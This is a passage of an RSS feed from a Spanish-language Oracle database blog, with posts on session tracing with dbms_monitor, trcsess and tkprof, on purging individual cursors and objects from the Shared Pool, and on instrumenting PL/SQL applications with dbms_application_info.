SELECT DNAME
FROM
&amp;nbsp;DEPT WHERE ROWNUM &amp;lt; 2

SELECT COUNT(*)
FROM
&amp;nbsp;DEPT&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Hasta ahora todo bien y muy simple, veamos ahora un ejemplo final en el que se combinan varios criterios de filtrado.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[udump]$ trcsess output=john.doe.Empleados.trc clientid='john.doe' action='Empleados' *trc

[udump]$ tkprof john.doe.Empleados.trc john.doe.Empleados.txt sys=no

TKPROF: Release 10.2.0.4.0 - Production on Mon Dec 1 08:44:07 2008

Copyright (c) 1982, 2007, Oracle.&amp;nbsp; All rights reserved.

&lt;b&gt;john.doe.Empleados.txt&lt;/b&gt;
SELECT ENAME
FROM
&amp;nbsp;EMP WHERE ROWNUM &amp;lt; 2&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;A estas alturas ya habrán notado la enorme ventaja que nos representa haber instrumentado las aplicaciones, así como el poder de &lt;i&gt;dbms_monitor&lt;/i&gt; complementado con &lt;i&gt;trcess&lt;/i&gt;. Ahora bien, conforme vamos agregando criterios de seguimiento, estos se van registrando en la base de datos y están disponibles con la vista &lt;i&gt;dba_enabled_traces&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; select trace_type, primary_id, qualifier_id1
&amp;nbsp; 2&amp;nbsp; from dba_enabled_traces;

TRACE_TYPE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PRIMARY_ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; QUALIFIER_ID1
---------------- ----------------- -------------
CLIENT_ID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; juan.perez
SERVICE_MODULE   orcl.oracle.com&amp;nbsp;&amp;nbsp; Primeros&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Recuerden que hacer seguimiento consume recursos, por lo que es conveniente que consulten &lt;i&gt;dba_enabled_traces&lt;/i&gt; regularmente para ver que no esté activo algún seguimiento que ya no necesitan y de ser así procedan a desactivarlo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; execute dbms_monitor.client_id_trace_disable('juan.perez')

PL/SQL procedure successfully completed.

SYS@orcl &amp;gt; execute dbms_monitor.serv_mod_act_trace_disable(-
&amp;gt; service_name =&amp;gt; 'orcl.oracle.com',-
&amp;gt; module_name =&amp;gt; 'Primeros' );

PL/SQL procedure successfully completed.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;En conclusión, para estos tiempos en que las aplicaciones web con sus pools de conexiones son la regla, la labor de seguimiento del código se puede complicar si no hemos tomado la previsión de instrumentar nuestras aplicaciones, de forma que sea fácil identificar el origen y ejecutante de las sentencias. Cuesta un poco de trabajo, pero deben planteárselo como un estándar a seguir para todo nuevo desarrollo. Aún me sorprende encontrar muchas instalaciones donde esta medida no se ha tomado y hacer segumiento resulta más complicado de lo que debiera.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;No olviden tampoco que deben usar &lt;b&gt;&lt;i&gt;dbms_monitor&lt;/i&gt;&lt;/b&gt;, sencillamente no tiene reemplazo y junto con &lt;i&gt;trcsess&lt;/i&gt; y &lt;i&gt;tkprof&lt;/i&gt; son nuestros aliados en el seguimiento del código. Pero esto no es todo, en un siguiente Post veremos otros beneficios que podemos obtener si instrumentamos las aplicaciones, estén atentos.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/dbms-application-info-instrumentacion.html"&gt;Hazte la vida más fácil, instrumenta tus aplicaciones&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-7148768777793450791?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/ISbNd244LOo" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:24:07.386-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/12/dbms-monitor-session-trace-trcsess.html</feedburner:origLink></item><item><title>¿Cómo deshacernos de un cursor en el Shared Pool?</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/UZt1Pg3Wx78/dbms-shared-pool-purge.html</link><category>Tuning</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Fri, 28 Nov 2008 20:19:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-3938244824224622449</guid><description>&lt;div&gt;Seguramente en alguna oportunidad has necesitado que un procedimiento almacenado o una secuencia permanezca en el &lt;b&gt;&lt;i&gt;Shared Pool&lt;/i&gt;&lt;/b&gt; y has terminado usando el package &lt;b&gt;&lt;i&gt;dbms_shared_pool&lt;/i&gt;&lt;/b&gt;,  mientras que si lo que deseabas era deshacerte de ellos, la única alternativa era recurrir a &lt;b&gt;&lt;i&gt;alter system flush shared_pool&lt;/i&gt;&lt;/b&gt;, sentencia que limpia todo el &lt;i&gt;Shared Pool&lt;/i&gt; con lo que ello implica. La buena noticia es que con la aparición de 11g se introdujo un método adicional al package &lt;i&gt;dbms_shared_pool&lt;/i&gt;, mismo que permite la eliminación selectiva de objetos residentes en el &lt;i&gt;Shared Pool&lt;/i&gt;, pero ¿sabías que este método también está disponible en 10gR2?, pues así es, pero su uso requiere de un paso adicional, que explicaré a continuación con algunos ejemplos.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;El método del cual estamos hablando es el procedimiento &lt;b&gt;&lt;i&gt;purge&lt;/i&gt;&lt;/b&gt;, que permite eliminar del &lt;i&gt;Shared Pool&lt;/i&gt; cursores, secuencias, packages, triggers, etc. Como les indicara, apareció con &lt;b&gt;11g&lt;/b&gt; pero viene incluido también con &lt;b&gt;10.2.0.4&lt;/b&gt;, y para las versiones 10.2.0.2 y 10.2.0.3 lo puedes obtener como un &lt;i&gt;patch&lt;/i&gt;, el &lt;b&gt;5614566&lt;/b&gt;, pero debes tener en cuenta que en esta forma no está disponible para todas las plataformas.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;La mejor forma de aprender a usarlo es mediante algunos ejemplos, para ello empezaremos viendo la forma de eliminar un cursor específico, en este caso se trata del cursor asociado al siguiente query:&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SELECT /*+ mi query */
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; dname, count(*) employees
&amp;nbsp;&amp;nbsp;FROM dept JOIN emp USING ( deptno )
&amp;nbsp;GROUP BY dname;

DNAME &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; EMPLOYEES
------------ ----------
ACCOUNTING &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;3
RESEARCH &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;5
SALES &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 6&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Para poder eliminar el curso del &lt;i&gt;Shared Pool&lt;/i&gt;, primero debemos identificarlo y la forma más simple de lograrlo es consultando &lt;b&gt;&lt;i&gt;v$sql&lt;/i&gt;&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; SELECT address, hash_value, executions
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;FROM v$sql WHERE sql_text LIKE 'SELECT /*+ mi query */%';

ADDRESS &amp;nbsp;HASH_VALUE EXECUTIONS
-------- ---------- ----------
30996000 1856305823 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con esta información ya podemos hacer uso del procedimiento &lt;b&gt;&lt;i&gt;purge&lt;/i&gt;&lt;/b&gt; y luego verificamos repitiendo la consulta anterior.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; exec dbms_shared_pool.purge('30996000, 1856305823','C');

PL/SQL procedure successfully completed.

SYS@orcl &amp;gt; /

ADDRESS &amp;nbsp;HASH_VALUE EXECUTIONS
-------- ---------- ----------
30996000 1856305823 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¿Qué pasó? Pues que en Oracle 10gR2, no es posible usar directamente el procedimiento &lt;b&gt;&lt;i&gt;purge&lt;/i&gt;&lt;/b&gt;, primero hay que habilitar el evento asociado al &lt;i&gt;bug&lt;/i&gt; que ha venido a solucionar, es decir el &lt;b&gt;5614566&lt;/b&gt;. Lo haremos a continuación y repetiremos el procedimiento anterior.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; alter session set events '5614566 trace name context forever';

Session altered.

SYS@orcl &amp;gt; exec dbms_shared_pool.purge('30996000, 1856305823','C');

PL/SQL procedure successfully completed.

SYS@orcl &amp;gt; SELECT address, hash_value, executions
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;FROM v$sql WHERE sql_text LIKE 'SELECT /*+ mi query */%';

no rows selected&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Ahora sí funcionó todo a la perfección, logramos eliminar el cursor que deseábamos, sin tocar nada más del &lt;i&gt;Shared Pool&lt;/i&gt;. Lo mismo se puede hacer con un procedimiento almacenado, solo que en lugar de alimentar la dirección que ocupa en el &lt;i&gt;Shared Pool&lt;/i&gt;, es suficiente con proporcionar el nombre del mismo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl &amp;gt; execute demo_prc

PL/SQL procedure successfully completed.

SYS@orcl &amp;gt; SELECT namespace, type, sharable_mem
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;from v$db_object_cache
&amp;nbsp;&amp;nbsp;3 &amp;nbsp;where owner = 'SCOTT' and name = 'DEMO_PRC';

NAMESPACE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TYPE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SHARABLE_MEM
---------------- ------------ ------------
TABLE/PROCEDURE &amp;nbsp;PROCEDURE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 13710

SYS@orcl &amp;gt; execute dbms_shared_pool.purge('SCOTT.DEMO_PRC','P')

PL/SQL procedure successfully completed.

SYS@orcl &amp;gt; /

NAMESPACE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TYPE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SHARABLE_MEM
---------------- ------------ ------------
TABLE/PROCEDURE &amp;nbsp;&lt;span style="color: red;"&gt;NOT LOADED&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: red;"&gt;0&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Algo similar ocurre si queremos deshacernos de una secuencia, solo basta con proporcionar el nombre del mismo.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SCOTT@orcl &amp;gt; select demo_seq.nextval from dual;

&amp;nbsp;&amp;nbsp; NEXTVAL
----------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1

SYS@orcl &amp;gt; SELECT namespace, type, sharable_mem
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;from v$db_object_cache
&amp;nbsp;&amp;nbsp;3 &amp;nbsp;where owner = 'SCOTT' and name = 'DEMO_SEQ';

NAMESPACE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TYPE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SHARABLE_MEM
---------------- ------------ ------------
TABLE/PROCEDURE &amp;nbsp;SEQUENCE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1422

SYS@orcl &amp;gt; execute dbms_shared_pool.purge('SCOTT.DEMO_SEQ','Q')

PL/SQL procedure successfully completed.

SYS@orcl &amp;gt; /

NAMESPACE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;TYPE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SHARABLE_MEM
---------------- -----------  ------------
TABLE/PROCEDURE &amp;nbsp;&lt;span style="color: red;"&gt;NOT LOADED&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style="color: red;"&gt;0&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Con esto concluimos la presentación de este novedoso método, que de seguro nos ha de servir en muchas oportunidades, sobre todo cuando queramos deshacernos de aquellos cursores indeseables producto de algún problema con el &lt;b&gt;&lt;i&gt;bind peeking&lt;/i&gt;&lt;/b&gt;, tal como les comentara en un &lt;a href="http://blog.e-dba.biz/2008/11/cursor-sharing-histograms-y-bind.html"&gt;Post previo&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para complementar lo aquí expuesto, les recomiendo la lectura del Note &lt;b&gt;457309.1&lt;/b&gt; &lt;i&gt;How To Flush an Object out the Library Cache&lt;/i&gt;, y el Note &lt;b&gt;751876.1&lt;/b&gt; &lt;i&gt;DBMS_SHARED_POOL.PURGE Is Not Working On 10.2.0.4&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Posts Relacionados:&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/01/sql-dinamico-application-context.html"&gt;¿Query dinámico?, pero sin perder de vista el contexto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/cursor-sharing-histograms-y-bind.html"&gt;Cursor sharing, histograms y bind peeking, lo que deberías saber para evitar sorpresas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/01/poor-man-dynamic-sql.html"&gt;El query dinámico de los pobres&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-3938244824224622449?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/UZt1Pg3Wx78" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:24:39.711-05:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://blog.e-dba.biz/2008/11/dbms-shared-pool-purge.html</feedburner:origLink></item><item><title>Hazte la vida más fácil, instrumenta tus aplicaciones</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/chuNDSqq-rk/dbms-application-info-instrumentacion.html</link><category>PLSQL</category><category>Tuning</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 22 Nov 2008 17:22:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-581196222085260859</guid><description>&lt;div&gt;La instrumentación se refiere a la capacidad de supervisar y medir el rendimiento de una aplicación. Si nuestra aplicaciones están instrumentadas, en cualquier momento podremos saber qué rutina es la que consume más recursos, en qué porcentaje de avance está aquel proceso batch que parece no terminar, podríamos hacer trace a un módulo, independientemente del usuario que lo esté ejecutando, etc. Luego de varios años de venir realizando consultorías, he encontrado que muy pocos implementan una instrumentación de sus aplicaciones, quizás sea porque no saben que esto es posible, por ello a continuación les mostraré cómo hacerlo y los beneficios inmediatos que pueden lograrse con muy poco esfuerzo.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;div&gt;La pieza central para lograr la instrumentación de las aplicaciones viene a ser el package &lt;b&gt;&lt;i&gt;dbms_application_info&lt;/i&gt;&lt;/b&gt;. Empezaremos por conocer los valores que podemos establecer y los métodos principales que usaremos en nuestro proceso de instrumentación.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;module_name&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Es el nombre del módulo que está actualmente en ejecución. Se trata de una cadena de hasta 48 bytes, si es más larga se trunca silenciosamente.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;action_name&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Es el nombre de la acción vigente para el módulo vigente. Se trata de unan cadena de hastas 32 bytes, si es más larga se trunca silenciosamente.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;set_module&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Es el procedimiento que permite establecer el nombre del módulo o aplicación actual.&lt;/div&gt;&lt;pre class="codigo"&gt;dbms_application_info.set_module(
&amp;nbsp;&amp;nbsp; module_name=&amp;gt; 'Facturacion',
&amp;nbsp;&amp;nbsp; action_name=&amp;gt; 'Obtencion.Numero.Factura' );&lt;/pre&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;set_action&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Es el precedimiento que permite establecer el nombre de la acción actual dentro del módulo actual.&lt;/div&gt;&lt;pre class="codigo"&gt;dbms_application_info.set_action(
&amp;nbsp;&amp;nbsp; action_name=&amp;gt; 'Calculo.Impuestos' );&lt;/pre&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;set_session_longops&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;Es el precedimiento que permite registrar una fila en &lt;b&gt;&lt;i&gt;v$session_longops&lt;/i&gt;&lt;/b&gt;, como un medio para hacer seguimiento al progreso de las operaciones.&lt;/div&gt;&lt;pre class="codigo"&gt;dbms_application_info.set_session_longops(
&amp;nbsp;&amp;nbsp; rindex =&amp;gt; v_rindex, --identificador de la fila en v$session_longops
&amp;nbsp;&amp;nbsp; slno =&amp;gt; v_slno, --para uso interno, no modificar
&amp;nbsp;&amp;nbsp; op_name =&amp;gt; 'Recalculo', --nombre que le asignamos a la tarea
&amp;nbsp;&amp;nbsp; target_desc =&amp;gt; 'Cheque', --descripción del objeto manipulado
&amp;nbsp;&amp;nbsp; sofar =&amp;gt; v_sofar, --indicador de cuanto trabajo ya se ha hecho
&amp;nbsp;&amp;nbsp; totalwork =&amp;gt; v_totalwork, --indicador del total de trabajo por hacer
&amp;nbsp;&amp;nbsp; context =&amp;gt; v_nro_cheque, --cualquier numero que se desee almacenar
&amp;nbsp;&amp;nbsp; units =&amp;gt; 'Cheques'); --unidad en que se representa sofar y totalwork&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Veamos ahora un ejemplo en el que se combinan estos tres métodos y luego comentaremos lo que allí se hace.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;DECLARE
&amp;nbsp;&amp;nbsp; v_rindex&amp;nbsp;&amp;nbsp;&amp;nbsp; PLS_INTEGER;
&amp;nbsp;&amp;nbsp; v_slno&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PLS_INTEGER;
&amp;nbsp;&amp;nbsp; v_totalwork NUMBER;
&amp;nbsp;&amp;nbsp; v_sofar&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NUMBER;
&amp;nbsp;&amp;nbsp; v_obj&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PLS_INTEGER;
&amp;nbsp;&amp;nbsp; v_dname&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dept.dname%TYPE;
BEGIN
&amp;nbsp;&amp;nbsp; dbms_application_info.set_module (
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; module_name =&amp;gt; 'Listado.Empleados',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name=&amp;gt; 'Total.Empleados' );

&amp;nbsp;&amp;nbsp; v_rindex := dbms_application_info.set_session_longops_nohint;
&amp;nbsp;&amp;nbsp; v_sofar := 0;

&amp;nbsp;&amp;nbsp; SELECT count(*)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; INTO v_totalwork
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FROM emp;

&amp;nbsp;&amp;nbsp; dbms_application_info.set_action (
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name=&amp;gt; 'Bucle.Empleados' );

&amp;nbsp;&amp;nbsp; FOR c_emp IN (
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT empno, ename, deptno
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FROM emp )
&amp;nbsp;&amp;nbsp; LOOP
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT dname INTO v_dname
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FROM dept
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WHERE deptno = c_emp.deptno;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dbms_output.put_line(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c_emp.empno||':'||c_emp.ename||':'||v_dname);

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; v_sofar := v_sofar + 1;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dbms_application_info.set_session_longops(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rindex =&amp;gt; v_rindex,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; slno =&amp;gt; v_slno,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; op_name =&amp;gt; 'Procesando Empleados',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; target_desc =&amp;gt; 'Empleado',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sofar =&amp;gt; v_sofar,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; totalwork =&amp;gt; v_totalwork,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; context =&amp;gt; c_emp.empno,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; units =&amp;gt; 'Empleados');

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dbms_lock.sleep( 2 ); --artificio para hacer lento el bucle
&amp;nbsp;&amp;nbsp; END LOOP;

&amp;nbsp;&amp;nbsp; dbms_application_info.set_module (
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; module_name =&amp;gt; '',
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; action_name=&amp;gt; '' );
END;&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;En esta rutina se empieza por calcular el total de filas a procesar y por cada iteración vamos actualizando la fila creada en &lt;i&gt;v$session_longops&lt;/i&gt;, de forma que podemos saber cuánto se ha avanzado y tener una estimación del tiempo restante de proceso.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; SELECT message, ROUND(sofar/totalwork,2)*100 "%Avance",
&amp;nbsp; 2&amp;nbsp; time_remaining falta, context empno
&amp;nbsp; 3&amp;nbsp;&amp;nbsp; from v$session_longops
&amp;nbsp; 4&amp;nbsp; where time_remaining &amp;gt; 0;
MESSAGE
-----------------------------------------------------------
&amp;nbsp;&amp;nbsp; %Avance&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FALTA&amp;nbsp;&amp;nbsp;&amp;nbsp; CONTEXT
---------- ---------- ----------
Procesando Empleados: Empleado : 1 out of 14 Empleados done
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 30&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7369

SYS@orcl &amp;gt; /
MESSAGE
-----------------------------------------------------------
&amp;nbsp;&amp;nbsp; %Avance&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FALTA&amp;nbsp;&amp;nbsp;&amp;nbsp; CONTEXT
---------- ---------- ----------
Procesando Empleados: Empleado : 3 out of 14 Empleados done
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7521

SYS@orcl &amp;gt; /
MESSAGE
-----------------------------------------------------------
&amp;nbsp;&amp;nbsp; %Avance&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; FALTA&amp;nbsp;&amp;nbsp;&amp;nbsp; CONTEXT
---------- ---------- ----------
Procesando Empleados: Empleado : 13 out of 14 Empleados done
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 93&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 7902

SYS@orcl &amp;gt; /

no rows selected&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;También hemos identificando la rutina en sí (&lt;i&gt;set_module&lt;/i&gt;) y las diferentes secciones al interior del mismo (&lt;i&gt;set_action&lt;/i&gt;), esta información es visible desde algunas vistas del catálogo, como es el caso de &lt;i&gt;v$sql&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl &amp;gt; SELECT action, executions, sql_text
  2  FROM v$sql
  3* WHERE module = 'Listado.Empleados';
ACTION               EXECUTIONS SQL_TEXT
-------------------- ---------- -----------------------------------------
Bucle.Empleados               1 SELECT EMPNO, ENAME, DEPTNO FROM EMP
Total.Empleados               1 SELECT COUNT(*) FROM EMP
Nombre.Departamento          14 SELECT DNAME FROM DEPT WHERE DEPTNO = :B1
&lt;/pre&gt;&lt;br /&gt;
